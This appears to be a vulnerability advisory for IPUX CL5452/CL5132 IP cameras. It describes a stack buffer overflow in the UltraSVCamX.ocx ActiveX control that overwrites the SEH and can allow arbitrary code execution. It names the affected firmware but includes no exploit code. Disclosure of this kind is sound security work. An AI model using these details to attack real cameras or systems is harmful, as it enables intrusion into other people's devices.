IPUX CL5452CL5132 IP Camera - UltraSVCamX.ocx ActiveX Stack Buffer Overflow

                                        
                                            IPUX CL5452/CL5132 IP Camera (UltraSVCamX.ocx) ActiveX Stack Buffer Overflow


Vendor: Big Good Holdings Limited | Fitivision Technology Inc.
Product web page: http://www.ipux.net | http://www.fitivision.com
Affected version: Bullet Type ICL5132 (firmware: ICL5132 2.0.0-2 20130730 r1112)
                  Bullet Type ICL5452

Summary: The device is H.264 Wired/Wireless IP Camera with 1.3 Mega-pixel sensor.
With high performance H.264 video compression, the file size of video stream is
extremely reduced, as to optimize the network bandwidth efficiency. It has full
Pan/Tilt function and 3X digital zoom feature for a larger space monitoring. The
built-in USB port provides a convenient and portable storage option for local storage
of event and schedule recording, especially network disconnected.

Desc: The UltraSVCam ActiveX Control 'UltraSVCamX.ocx' suffers from a stack buffer
overflow vulnerability when parsing large amount of bytes to several functions in
UltraSVCamLib, resulting in memory corruption overwriting several registers including
the SEH. An attacker can gain access to the system of the affected node and execute
arbitrary code.
